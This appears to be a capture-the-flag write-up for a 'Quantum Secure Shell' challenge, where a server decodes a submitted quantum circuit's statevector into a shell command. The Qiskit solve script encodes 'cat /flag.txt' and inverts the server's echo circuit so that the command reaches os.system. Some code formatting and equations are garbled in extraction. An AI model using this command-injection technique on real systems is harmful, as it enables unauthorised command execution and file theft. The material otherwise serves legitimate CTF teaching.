from qiskit import*from qiskit.circuit.library import StatePreparation
from qiskit.compiler import transpile
import qiskit.quantum_info as qi
WIRES =5# helper functions from challengedefnormalization(msg):
assert(len(msg) <= WIRES**2)
state = np.array([ord(c) for c in msg.ljust(2**WIRES, ' ')])
norm = np.linalg.norm(state)
state = state / norm
return (state, norm)
deftransform(sv, n):
legal =lambda c: ord(' ') <= c and c <=ord('~')
renormalized = [float(i.real)*n for i in sv]
rn_rounded = [round(i) for i in renormalized]
ifnot np.allclose(renormalized, rn_rounded, rtol=0, atol=1e-2):
print("Your rehydrated statevector isn't very precise. Try adding at least 6 decimal places of precision, or contact the challenge author if you think this is a mistake.")
print(rn_rounded)
exit(0)
if np.any([not legal(c) for c in rn_rounded]):
print("Invalid ASCII characters.")
exit(0)
return''.join([chr(n) for n in rn_rounded])
defsolve_qiskit():
echo_sv, _ = normalization("echo 'Hello, world!'")
cat_sv, cat_n = normalization("cat /flag.txt")
circ = QuantumCircuit(WIRES)
circ.append(StatePreparation(cat_sv, label="sp"), range(WIRES))
circ.append(StatePreparation(echo_sv, label="inv_sp", inverse=True), range(WIRES))
# append the original StatePreparation to confirm that this works; remove for payload#circ.append(StatePreparation(echo_sv), range(WIRES)) circ = transpile(circ, backend=Aer.get_backend("aer_simulator"), optimization_level=3)
sv = qi.Statevector.from_instruction(circ)
return b64encode(circ.qasm().encode()), cat_n
if__name__=="__main__":
print(solve_qiskit())
Explanation
We connect to the challenge server and are greeted with the following:
Python
print("Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!")
given_sv, given_n = normalization("echo 'Hello, world!'")
print_given(given_sv, given_n)
print("\nPlease type your OpenQASM circuit as a base64 encoded string: ")
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
ββββββββββββββββββββββββββββββββββββββββββββ
q_0: β€0 ββ€0 β
β ββ β
q_1: β€1 ββ€1 β
β ββ β
q_2: β€2 Your Circ Here ββ€2 echo 'Hello, world!' β
β ββ β
q_3: β€3 ββ€3 β
β ββ β
q_4: β€4 ββ€4 β
ββββββββββββββββββββββββββββββββββββββββββββ
Normalization constant: 419.1873089681986
Executing...
Hello, world!
Please type your OpenQASM circuit as a base64 encoded string:
Taking a look at the source, we see that we input some quantum circuit which is inserted before a different circuit, and the resultant statevector is then “unnormalized”, interpreted as a string, and fed to os.system.
Our end goal should be to embed a string like ls or cat flag.txt; this is trivial with the normalization function provided.
The “measurement rule” in quantum mechanics dictates that the sum of all amplitudes squared must equal 1. In order to encode a vector of ASCII values in the circut, we first need to normalize it; to get back to the original vector, we “undo” the normalization by multiplying the scalar normalization constant.
Good news is, we didn’t receive any mod mail on the normalization constant so… hopefully no one had any issues?
Where’s the measurement?
You might be wondering how one might fit a 32 character string into 5 qubits, and more importantly; where are the measurement gates?
The output of the circuit is the statevector, which means if you were to measure the qubits instead, the probability of measuring a specific outcome would correspond to amplitudes in the statevector. Using the statevector, we’re able to losslessly finangle lots of data into the rotation of a qubit that would otherwise be lost through measurement.
About StatePreparation
The existing circuit embeddeds the string echo ‘Hello, world!’ using Qiskit’s StatePreparation function. This is a form of amplitude encoding, a way to encode information in the probability amplitudes of discrete quantum states.
A common point of confusion was that StatePreparation returns a statevector; it’s actually an algorithm for creating a circuit that will transform
into a desired statevector.
The next part is to figure out how to “get rid of” the circuit applied after your input, which encodes the string echo ‘Hello, world!’. Quantum circuits are all really just unitary matrices, which means they’re invertible.
So if we have input
, echo input
, and desired payload
in
, that means
.
In order to calculate
, we need to grab
:
Python
echo_sv, _ = normalization("echo 'Hello, world!'")
E = StatePreparation(echo_sv, label="echo")
And then take its inverse:
Python
E_inv = E.inverse()
Finally, we compose the individual circuits together:
Gross (and also kinda wrong). Qiskit’s QASM converter will happily spit out black boxes like above, assuming whoever will consume the QASM will know what that means.
An aside on OpenQASM
If we try to convert our circuit as is to QASM, we run into some issues:
In order to emit QASM that Qiskit will actually understand, we need to transpile our circuit to a set of universal basis gates. This is also how quantum circuits are run on hardware, as each computer only understands a certain set of basis gates.
Python
from qiskit import Aer
from qiskit.compiler import transpile
circ_transpiled = transpile(circ, backend=Aer.get_backend("aer_simulator"), optimization_level=3)
good_qasm = circ_transpiled.qasm()
print('\n'.join(good_qasm.split('\n')[:10]))
A little tangent on OpenQASM: the implementation is so scuffed and incomplete to the point it makes Yandere Simulator look like enterprise software. I had poked around trying to develop a challenge focused on OpenQASM, but found that literally every interesting part of the spec was unimplemented π’
Here’s Qiskit’s implementation of OpenQASM3’s include statement:
Python
defvisit_Include(self, node: ast.Include, context: State) -> State:
if node.filename !="stdgates.inc":
raise_from_node(node, "non-stdgates imports not currently supported")
for name, (builder, n_arguments, n_qubits) in _STDGATES.items():
context =self._define_gate(name, builder, n_arguments, n_qubits, node, context)
return context
I understand that this is alpha software for a rather small part of Qiskit, and I’m not trying to pile on the Qiskit devs for not lavishing more attention on this, but… bruh.
Finishing up
All that’s left is to b64encode this bad boy and ship it off to remote.
Python
payload = b64encode(good_qasm.encode())
# server sidetransform(qi.Statevector.from_instruction(make_circ(given_sv, QuantumCircuit.from_qasm_str(b64decode(payload).decode()))), cat_n)
cat /flag.txt
Retrospection
When the challenge was first released (on the second day of the CTF), I decided to not release the source. Although that was intended to prevent code reuse from server.py, it made the challenge waaaay too guessy. Not only that, but it was probably better to provide primitives so you could focus on solving the challenge instead of placating Qiskit’s fussiness.
This very much locks you into using Qiskit and β according to some modmail I received β a particular way of solving the challenge. Even though the server was built against the latest version of Qiskit (and thus the version people would get from pip install -r requirements.txt), in the future I would release the server Dockerfile to remove any source of impurity. (This is somewhat ironic, given that the challenge author uses NixOS.)
. 
